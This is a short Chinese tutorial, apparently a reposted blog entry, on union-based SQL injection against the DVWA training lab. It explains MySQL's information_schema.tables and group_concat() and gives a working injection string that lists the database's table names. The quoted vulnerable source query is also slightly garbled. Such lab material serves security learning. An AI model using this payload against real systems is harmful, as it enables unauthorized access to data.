1.版本在5.0及以上的mysql服务器特点: ①内置数据字典表:information_schema.tables ②该表:存储了所有数据库里的所有表的信息
//注意,information_schema.tables这个表,是存储所有数据库中的所有表信息,所以要加上where语句,才可以限制为当前的数据库为dvwa
2.group_concat()函数,显示多表的名称
3.爆表过程: ①源码:union select first_name,last_name from users = '$id' ②构造语句(也就是给$id赋值):1' union select table_name,2 from information_schema.tables where table_schema='dvwa'# ③真正执行的语句:union select first_name,last_name from users =’ 1' union select table_name,2 from information_schema.tables where table_schema='dvwa'# ’
如下图所示,其实联合查询,就是把结果整合输出:
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/102882758